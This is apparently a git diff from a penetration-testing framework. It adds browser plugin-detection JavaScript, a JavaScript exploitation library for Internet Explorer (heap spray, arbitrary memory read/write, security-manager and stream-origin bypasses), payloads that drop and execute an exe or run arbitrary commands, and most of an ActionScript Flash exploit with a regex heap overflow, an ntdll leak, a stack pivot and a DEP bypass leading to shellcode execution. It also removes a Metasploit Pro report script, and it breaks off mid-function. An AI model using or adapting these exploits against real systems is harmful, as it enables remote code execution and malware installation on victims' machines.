ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000
0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400
00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}}

Binary file not shown.

View File

@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () {
return found;
}
/**
* Returns the Adobe Flash version
**/
window.misc_addons_detect.getFlashVersion = function () {
var foundVersion = null;
//
// Gets the Flash version by using the GetVariable function via ActiveX
//
try {
var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
} catch (e) {}
//
// This should work fine for most non-IE browsers
//
if (foundVersion == null) {
var mimes = window.navigator.mimeTypes;
for (var i=0; i<mimes.length; i++) {
var pluginDesc = mimes[i].enabledPlugin.description.toString();
var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
if (m != null) {
foundVersion = m[0].match(/\d.+/g)[0];
break;
}
}
}
//
// Detection for Windows + Firefox
//
if (foundVersion == null) {
var pluginsCount = navigator.plugins.length;
for (i=0; i < pluginsCount; i++) {
var pluginName = navigator.plugins[i].name;
var pluginVersion = navigator.plugins[i].version;
if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
foundVersion = navigator.plugins[i].version;
break;
}
}
}
return foundVersion;
}
/**
* Returns the Java version
**/

View File

@ -0,0 +1,426 @@
ExpLib = (function() {
function ExpLib( num_arrays, arr_size, base, payload ) {
this.arr1 = null;
this.arr2 = null;
this.base = base;
this.arr_size = arr_size;
this.arr_arr = null;
// Allows to control the contents of the sprayed memory.
// Have into account some array positions will be corrupted
// while leaking and modifying things.
this.arr_contents = [];
this.payload = payload;
this.modules = {}
this.getproc = null;
this.loadlibrary = null;
// Offset to the Origin URL in the Stream, modifying it
// allows to bypass msado15.SecurityCheck(), allowing
// for example to write stream contents to filesystem.
this.stream_origin = 0x44;
}
ExpLib.prototype.resolveAPI = function( modulename, procname ) {
var module = this.resolveModule( modulename );
return this.callAPI( this.getproc, module, this.allocateString(procname) );
}
ExpLib.prototype.resolveModule = function( modulename ) {
if ( this.modules[modulename] )
return this.modules[modulename];
var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
this.modules[modulename] = module;
return module;
}
ExpLib.prototype.spray = function() {
this.arr_arr = new Array( num_arrays );
var decl = "[";
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
decl += '0,';
}
decl += '0';
decl += ']';
for ( var i = 0; i < num_arrays; ++ i ) {
this.arr_arr[i] = eval(decl);
for(var j = 0; j < this.arr_contents.length; j++) {
this.arr_arr[i][j] = this.arr_contents[j];
}
}
}
// Should be used before calling spray()
ExpLib.prototype.setArrContents = function(contents) {
for(var i = 0; i < this.arr_size && i < contents.length; i++) {
this.arr_contents[i] = contents[i];
}
}
ExpLib.prototype.setValue = function(i1, i2, v) {
this.arr_arr[i1][i2] = v;
}
ExpLib.prototype.setValueByAddr = function(index, addr, v) {
this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
}
ExpLib.prototype.read32 = function(addr) {
if ( addr % 4 ) {
// error
}
if ( addr >= this.arr2_member_base ) {
return this.arr2[(addr - this.arr2_member_base)/4];
} else {
return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
}
}
ExpLib.prototype.write32 = function(addr, value) {
if ( addr % 4 ) {
// error
}
if ( value >= 0x80000000 )
value = -(0x100000000 - value);
//alert(((addr - this.arr2_member_base)/4).toString(16));
if ( addr >= this.arr2_member_base ) {
this.arr2[(addr - this.arr2_member_base)/4] = value;
} else {
this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
}
}
ExpLib.prototype.read8 = function(addr) {
var value = this.read32( addr & 0xfffffffc );
switch ( addr % 4 ) {
case 0: return (value & 0xff);
case 1: return ((value >> 8) & 0xff);
case 2: return ((value >> 16) & 0xff);
case 3: return ((value >> 24) & 0xff);
}
return 0;
}
ExpLib.prototype.write8 = function(addr, value) {
var original_value = this.read32( addr & 0xfffffffc );
var new_value;
switch ( addr % 4 ) {
case 0:
new_value = (original_value & 0xffffff00) | (value & 0xff);
break;
case 1:
new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
break;
case 2:
new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
break;
case 3:
new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
break;
}
this.write32( addr & 0xfffffffc, new_value );
}
ExpLib.prototype.writeBytes = function(addr, bytes) {
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
this.write32( addr + i, value );
}
for ( ; i < bytes.length; ++ i ) {
this.write8( addr + i, bytes[i] );
}
}
ExpLib.prototype.writeString = function(addr, s) {
var bytes = [];
var i = 0;
for ( ; i < s.length; ++ i ) {
bytes[i] = s.charCodeAt(i);
}
bytes[i] = 0;
this.writeBytes( addr, bytes );
}
ExpLib.prototype.writeStringW = function(addr, s) {
var bytes = [];
var i = 0;
for ( ; i < s.length; ++i ) {
bytes[i * 2] = s.charCodeAt(i);
bytes[i * 2 + 1] = 0;
}
bytes[s.length * 2] = 0;
bytes[s.length * 2 + 1] = 0;
this.writeBytes( addr, bytes );
}
ExpLib.prototype.read16 = function(addr) {
if ( addr % 2 ) {
// error, not aligned
}
var value = this.read32( addr & 0xfffffffc );
switch ( addr % 4 ) {
case 0: return (value & 0xffff);
case 1: return ((value >> 8) & 0xffff);
case 2: return ((value >> 16) & 0xffff);
case 3: /*not supported*/ break;
}
return 0;
}
ExpLib.prototype.strequal = function(addr, s) {
for ( var i = 0; i < s.length; ++ i ) {
if ( this.read8(addr + i) != s.charCodeAt(i) )
return false;
}
return true;
}
ExpLib.prototype.getModuleBase = function(addr) {
var cur_addr = addr;
while ( cur_addr > 0 ) {
if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
return cur_addr;
}
cur_addr -= 0x10000;
}
return 0;
}
ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
var cur_table = import_table;
while ( cur_table < import_table + 0x1000 ) {
var name_addr = base + this.read32(cur_table + 12);
if ( this.strequal( name_addr, name ) ) {
var iat = base + this.read32(cur_table + 16);
var func = this.read32(iat);
while ( 0 == func ) {
iat += 4;
func = this.read32(iat);
}
return this.getModuleBase( func & 0xFFFF0000 );
}
cur_table += 20;
}
return 0;
}
ExpLib.prototype.getProcAddress = function(base, procname) {
var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
var num_functions = this.read32( export_table + 20 );
var addr_functions = base + this.read32( export_table + 28 );
var addr_names = base + this.read32( export_table + 32 );
var addr_ordinals = base + this.read32( export_table + 36 );
for ( var i = 0; i < num_functions; ++ i ) {
var name_addr = this.read32( addr_names + i * 4 ) + base;
if ( this.strequal( name_addr, procname ) ) {
var ordinal = this.read16( addr_ordinals + i * 2 );
var result = this.read32( addr_functions + ordinal * 4 ) + base;
return result;
}
}
return 0;
}
ExpLib.prototype.searchBytes = function(pattern, start, end) {
if ( start >= end || start + pattern.length > end )
return 0;
var pos = start;
while ( pos < end ) {
for ( var i = 0; i < pattern.length; ++ i ) {
if ( this.read8(pos + i) != pattern[i] )
break;
}
if ( i == pattern.length ) {
return pos;
}
++ pos;
}
return 0;
}
ExpLib.prototype.getError = function(msg) {
return this.err_msg;
}
ExpLib.prototype.setError = function(msg) {
this.err_msg = msg;
}
ExpLib.prototype.setStreamOrigin = function(offset) {
this.stream_origin = offset;
}
ExpLib.prototype.getStreamOrigin = function() {
return this.stream_origin;
}
ExpLib.prototype.memcpy = function(dst, src, size) {
var i = 0;
for ( ; i < size - 4; i += 4 ) {
this.write32( dst + i, this.read32(src + i) );
}
for ( ; i < size; ++ i ) {
this.write8( dst + i, this.read8(src + i) );
}
}
ExpLib.prototype.go = function() {
var i = 0;
for ( ; i < this.arr_arr.length - 1; ++ i ) {
this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
this.arr_arr[i + 1].length = 0x3fffffff;
if ( this.arr_arr[i+1].length == 0x3fffffff ) {
break;
}
}
}
if ( i >= this.arr_arr.length - 1 ) {
this.setError( "Cannot find array with corrupt length!" );
return false;
}
this.arr1_idx = i;
this.arr2_idx = i + 1;
this.arr1 = this.arr_arr[i];
this.arr2 = this.arr_arr[i + 1];
this.arr2_base = this.base + 0x1000;
this.arr2_member_base = this.arr2_base + 0x20;
var func_addr = this.leakAddress(ActiveXObject);
var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
//alert(script_engine_addr.toString(16));
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
if ( !original_securitymanager ) {
// let security manager to be valid
try {
var WshShell = new ActiveXObject("WScript.shell");
} catch (e) {}
original_securitymanager = this.read32( script_engine_addr + 0x21c );
}
var original_securitymanager_vtable = this.read32(original_securitymanager);
var securitymanager_size = 0x28;
var fake_securitymanager = 0x1a1b2010;
var fake_securitymanager_vtable = fake_securitymanager + 0x28;
//alert(original_securitymanager.toString(16));
this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
this.write32( fake_securitymanager, fake_securitymanager_vtable );
this.write32(script_engine_addr + 0x21c, fake_securitymanager);
var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
this.write32( fake_securitymanager_vtable + 0x14,
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
this.write32( fake_securitymanager_vtable + 0x10,
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
this.payload.execute(this);
/*
* restore
*/
this.write32( script_engine_addr + 0x21c, original_securitymanager );
return true;
}
ExpLib.prototype.leakAddress = function(obj) {
this.arr_arr[this.arr2_idx + 1][2] = obj;
return this.read32(this.arr2_member_base + 0x1008);
}
ExpLib.prototype.switchStreamOrigin = function(stream) {
var obj = this.leakAddress(stream);
var stream_obj = this.read32(obj + 0x30);
//var url_addr = this.read32(stream_obj + 0x3c);
var url_addr = this.read32(stream_obj + this.stream_origin);
/*
* bypass domain check
*/
this.writeStringW( url_addr, 'file:///C:/1.htm' );
}
return ExpLib;
})();

View File

@ -0,0 +1,33 @@
function payload_drop_exec(pe) {
this.execute = function(explib) {
var WshShell = new ActiveXObject("WScript.shell");
var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
var filename = temp + "\\a.exe";
var bStream = new ActiveXObject("ADODB.Stream");
var txtStream = new ActiveXObject("ADODB.Stream");
bStream.Type = 1;
txtStream.Type = 2;
bStream.Open();
txtStream.Open();
explib.switchStreamOrigin(txtStream);
txtStream.WriteText(pe);
txtStream.Position = 2;
txtStream.CopyTo( bStream );
txtStream.Close();
explib.switchStreamOrigin(bStream);
bStream.SaveToFile(filename, 2);
bStream.Close();
oExec = WshShell.Exec(filename);
}
return this;
}

View File

@ -0,0 +1,10 @@
function payload_exec(cmd) {
this.execute = function(explib) {
var WshShell = new ActiveXObject("WScript.shell");
var oExec = WshShell.Exec(cmd);
}
return this;
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,126 +0,0 @@
#!/usr/bin/env ruby
require 'rubygems'
require 'optparse'
require 'msfrpc-client'
require 'rex/ui'
def usage(ropts)
$stderr.puts ropts
if @rpc and @rpc.token
wspaces = @rpc.call("pro.workspaces") rescue {}
if wspaces.keys.length > 0
$stderr.puts "Active Projects:"
wspaces.each_pair do |k,v|
$stderr.puts "\t#{k}"
end
end
end
$stderr.puts ""
exit(1)
end
opts = {
:format => 'PDF'
}
parser = Msf::RPC::Client.option_parser(opts)
parser.separator('Report Options:')
parser.on("--format FORMAT") do |v|
opts[:format] = v.upcase
end
parser.on("--project PROJECT") do |v|
opts[:project] = v
end
parser.on("--output OUTFILE") do |v|
opts[:output] = v
end
parser.on("--help") do
$stderr.puts parser
exit(1)
end
parser.separator('')
parser.parse!(ARGV)
@rpc = Msf::RPC::Client.new(opts)
if not @rpc.token
$stderr.puts "Error: Invalid RPC server options specified"
$stderr.puts parser
exit(1)
end
project = opts[:project] || usage(parser)
fname = opts[:output] || usage(parser)
rtype = opts[:format]
user = @rpc.call("pro.default_admin_user")['username']
task = @rpc.call("pro.start_report", {
'DS_WHITELIST_HOSTS' => "",
'DS_BLACKLIST_HOSTS' => "",
'workspace' => project,
'username' => user,
'DS_MaskPasswords' => false,
'DS_IncludeTaskLog' => false,
'DS_JasperDisplaySession' => true,
'DS_JasperDisplayCharts' => true,
'DS_LootExcludeScreenshots' => false,
'DS_LootExcludePasswords' => false,
'DS_JasperTemplate' => "msfxv3.jrxml",
'DS_REPORT_TYPE' => rtype.upcase,
'DS_UseJasper' => true,
'DS_UseCustomReporting' => true,
'DS_JasperProductName' => "Metasploit Pro",
'DS_JasperDbEnv' => "production",
'DS_JasperLogo' => '',
'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8",
'DS_EnablePCIReport' => true,
'DS_EnableFISMAReport' => true,
'DS_JasperDisplayWeb' => true,
})
if not task['task_id']
$stderr.puts "[-] Error generating the report: #{task.inspect}"
exit(0)
end
puts "[*] Report is generating with Task ID #{task['task_id']}..."
while true
select(nil, nil, nil, 0.50)
stat = @rpc.call("pro.task_status", task['task_id'])
if stat['status'] == 'invalid'
$stderr.puts "[-] Error checking task status"
exit(0)
end
info = stat[ task['task_id'] ]
if not info
$stderr.puts "[-] Error finding the task"
exit(0)
end
if info['status'] == "error"
$stderr.puts "[-] Error generating report: #{info['error']}"
exit(0)
end
break if info['progress'] == 100
end
report = @rpc.call('pro.report_download_by_task', task['task_id'])
if report and report['data']
::File.open(fname, "wb") do |fd|
fd.write(report['data'])
end
$stderr.puts "[-] Report saved to #{::File.expand_path(fname)}"
else
$stderr.puts "[-] Error downloading report: #{report.inspect}"
end

View File

@ -0,0 +1,545 @@
// Compile with: mxmlc exploit.as -o exploit.swf
package
{
import flash.display.Sprite;
import flash.media.Sound;
import flash.utils.ByteArray;
import __AS3__.vec.Vector;
import flash.display.LoaderInfo;
import flash.system.Capabilities;
import flash.utils.Endian;
import __AS3__.vec.*;
import flash.utils.*;
import flash.display.*;
import flash.media.*;
import flash.system.*;
import flash.external.*;
import flash.net.*;
public class exploit extends Sprite
{
public var flash_version:Number;
public var sound_object:Sound;
public var byte_array:ByteArray;
public var massaged_memory:Vector.<Object>;
public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
public var TweakedVector:Vector.<Number>;
public var TweakedVector_address:uint;
public var sound_address:uint;
public var sound_address_vtable:uint;
public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
public var byte_array_data_address:uint;
public var ntdll_base:uint;
public var ntdll_pe_file_header:uint;
public var stack_pivot:uint;
public var virtual_alloc_address:uint;
public var last_leaked_address:uint;
public var last_leak:Vector.<uint>;
public function exploit():void
{
this.sound_object = new Sound();
this.byte_array = new ByteArray();
this.massaged_memory = new Vector.<Object>(0);
this.last_leak = new Vector.<uint>(2);
super();
var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
if (shellcode == null){
return;
};
if (!this.CheckVersion()){
return;
};
this.ExploitIt(shellcode);
this.Restore();
}
public function CheckVersion():Boolean
{
var capabilities:* = Capabilities.version.toLowerCase().split(" ");
if (capabilities[0] != "win"){
return (false);
};
this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
return (false);
};
return (true);
}
public function PrepareMemoryAndOverflow():RegExp
{
var index:uint;
var tmp_vector:Vector.<Object>;
index = 0;
while (index < 0x4000) {
tmp_vector = new Vector.<Object>(16);
tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
tmp_vector[1] = this.CreateVectorSixteenNumbers();
tmp_vector[2] = this.CreateVectorSixteenNumbers();
tmp_vector[3] = this.CreateVectorSixteenNumbers();
tmp_vector[4] = this.CreateVectorSixteenNumbers();
tmp_vector[5] = this.CreateVectorSixteenNumbers();
tmp_vector[6] = this.CreateVectorSixteenNumbers();
tmp_vector[7] = this.CreateVectorSixteenNumbers();
tmp_vector[8] = this.CreateVectorSixteenNumbers();
tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
this.massaged_memory[index] = tmp_vector;
index++;
};
index = 0x2000;
// Make some holes
while (index < 0x3fff) {
if ((index % 2) != 0){
this.massaged_memory[index][2] = null;
};
index++;
};
// Hopefully reuse a hole and overflow a tmp_vector[3] field
return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
}
public function SearchOverflowedTweakAndRestore():Boolean
{
var index:uint;
var numbers_vector_index:uint;
var overflowed_vector:Vector.<Number>;
var fingerprint:Number;
index = 0;
_loop_1:
while (index < 0x4000) {
numbers_vector_index = 1;
while (numbers_vector_index < 9) {
try {
// If the length is bigger than 17, the vector's length has been overflowed
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
break _loop_1;
}
return (false);
};
} catch(e:Error) {
};
numbers_vector_index++;
};
index++;
};
if (overflowed_vector){
this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
// Overwrite the length of the vector following the overflowed one:
// reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector
overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
// corrupts the first position of the corrupted (tweaked) vector, so we can find it
// in the future easily.
fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));
index = 0;
while (index < 0x4000) {
numbers_vector_index = 1;
while (numbers_vector_index < 9) {
try {
// restore the overflowed vector's length
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
return (true);
};
} catch(e:Error) {
};
numbers_vector_index++;
};
index++;
};
};
return (false);
}
public function Restore():void
{
try {
if (((this.TweakedVector) && (this.vector_object_offset_4))){
if (((this.sound_address) && (this.sound_address_vtable))){
this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
};
this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
return;
};
} catch(e:Error) {
};
do {
} while (1);
}
public function GetAddressTweakedVector():Boolean
{
var index:uint;
var index_numbers_vectors:uint;
var tweaked_next:Vector.<uint>;
var tweaked_next_next:Vector.<uint>;
try {
index = 0;
// Nullify (free) number vectors who aren't the tweaked one
while (index < 0x4000) {
index_numbers_vectors = 1;
while (index_numbers_vectors < 9) {
if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
this.massaged_memory[index][index_numbers_vectors] = null;
};
index_numbers_vectors++;
};
index++;
};
index = 1;
while (index < 4) {
tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
// Verify that after the tweaked vector there are two more number vectors
// With the tweaked vector it is kinda easy to disclose its own address, becasuse
// Flash links vectors, so there are pointers.
if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
return (true);
};
index++;
};
} catch(e:Error) {
};
return (false);
}
public function LeakObjectAddresses():Boolean
{
var one_signature:Number;
var i:uint;
var objects_leak:Vector.<uint>;
var byte_array_address:uint;
try {
one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
i = 0;
while (i < 0x1000) {
// Search first objects vector entry from the tweaked one (from the massaged memory...)
if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
//objects_leak[0] => ByteArray object
//objects_leak[1] => Sound object
objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
this.sound_address_vtable = this.Leak(this.sound_address, true);
this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
if (this.flash_version < 114){
this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
} else {
byte_array_address = this.Leak((byte_array_address + 64), true);
this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
};
return (true);
};
i++;
};
} catch(e:Error) {
};
return (false);
}
public function Leak(address:uint, align:Boolean):uint
{
var eigth_byte_aligned:uint;
if (align) {
eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
} else {
eigth_byte_aligned = 0;
}
if (eigth_byte_aligned){
address = (address - 4);
};
if (this.last_leaked_address == address){
return (this.last_leak[eigth_byte_aligned]);
};
var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
this.last_leaked_address = address;
this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
return (this.last_leak[eigth_byte_aligned]);
}
public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
{
var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
}
public function LeakNtdll():Boolean
{
var ntdll_address:uint;
var KiFastSystemCall_address:uint;
var pe_file_header_address:uint;
try {
//KiFastSystemCallRet
KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
if (KiFastSystemCall_address == 0){
KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
};
if (KiFastSystemCall_address){
KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
while (1) {
if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
ntdll_address = KiFastSystemCall_address;
break;
};
KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
};
if (ntdll_address){
pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
this.ntdll_base = ntdll_address;
this.ntdll_pe_file_header = pe_file_header_address;
return (true);
};
};
};
} catch(e:Error) {
};
return (false);
}
public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
{
var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
return ((_local_5 | _local_4));
}
public function FindStackPivot():Boolean
{
var ntdll_size_of_code:uint;
var ntdll_base_of_code:uint;
var instr:uint;
var offset:uint;
var next_instr:uint;
var instr_offset:uint;
try {
ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
if (((ntdll_size_of_code) && (ntdll_base_of_code))){
ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
instr = this.Leak(ntdll_base_of_code, true);
offset = 4;
while (offset < ntdll_size_of_code) {
next_instr = this.Leak((ntdll_base_of_code + offset), true);
instr_offset = 0;
while (instr_offset < 4) {
if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
return (true);
};
instr_offset++;
};
instr = next_instr;
offset = (offset + 4);
};
};
} catch(e:Error) {
};
return (false);
}
public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
{
var content_next:uint;
var content:uint = this.Leak(address, true);
var i:uint;
while (i < signature.length) {
content_next = this.Leak((address + ((i + 1) * 4)), true);
if (this.GetUint(content, content_next, offset) != signature[i]){
return (false);
};
content = content_next;
i++;
};
return (true);
}
public function LeakVirtualProtect():Boolean
{
var exports_address:uint;
var virtual_protect_signature:Vector.<uint>;
var n_functions:uint;
var ptrs_entry:uint;
var ptrs_name:uint;
var ptrs_ordinal:uint;
var i:uint;
var export_name_entry:uint;
var offset_export_name_entry:uint;
var _local_10:uint;
try {
exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
if (exports_address){
exports_address = (exports_address + this.ntdll_base);
virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
n_functions = this.Leak((exports_address + 24), true);
ptrs_entry = this.Leak((exports_address + 28), true);
ptrs_name = this.Leak((exports_address + 32), true);
ptrs_ordinal = this.Leak((exports_address + 36), true);
if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
ptrs_entry = (ptrs_entry + this.ntdll_base);
ptrs_name = (ptrs_name + this.ntdll_base);
ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
i = 0;
while (i < n_functions) {
export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
if (export_name_entry){
export_name_entry = (export_name_entry + this.ntdll_base);
offset_export_name_entry = (export_name_entry % 4);
export_name_entry = (export_name_entry - offset_export_name_entry);
if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
_local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);
if ((i % 2)){
_local_10 = (_local_10 >>> 16);
};
this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
return (true);
};
};
i++;
};
};
};
} catch(e:Error) {
};
return (false);
}
public function ExploitIt(shellcode:String):void
{
var not_used:* = this.PrepareMemoryAndOverflow();
if (!this.SearchOverflowedTweakAndRestore()){
return;
};
if (!this.GetAddressTweakedVector()){
return;
};
if (!this.LeakNtdll()){
return;
};
if (!this.FindStackPivot()){
return;
};
if (!this.LeakVirtualProtect()){
return;
};
var i:uint;
while (i < 0x19000) {
this.byte_array.writeUnsignedInt(0x41424344);
i++;
};
this.byte_array.endian = Endian.LITTLE_ENDIAN;
var init_pos:uint = this.byte_array.position;
// Write shellcode into the byte array
this.byte_array.position = (init_pos + 136);
this.write_into_byte_array(this.byte_array, shellcode);
// Write stack pivot into the byte array
this.byte_array.position = (init_pos + 112);
this.byte_array.writeUnsignedInt(this.stack_pivot);
if (!this.LeakObjectAddresses()){
return;
};
this.byte_array_data_address = (this.byte_array_data_address + init_pos);
this.byte_array.position = init_pos;
// build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect
this.byte_array.writeUnsignedInt(64); // NewAccessProtection
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection
this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28
this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32
this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36
// Overwrite Sound...
this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
// Make it happen!
new Number(this.sound_object.toString());
}
private function write_into_byte_array(byte_array:ByteArray, string:String):void
{
var _local_4:String;
var _local_5:int;
var _local_3:int;
while (_local_3 < string.length) {
_local_4 = string.substr(_local_3, 2);
_local_5 = parseInt(_local_4, 16);
byte_array.writeByte(_local_5);
_local_3 = (_local_3 + 2);
};
}
private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
{
var result_float:ByteArray = new ByteArray();
result_float.endian = Endian.LITTLE_ENDIAN;
result_float.writeInt(_arg_1);
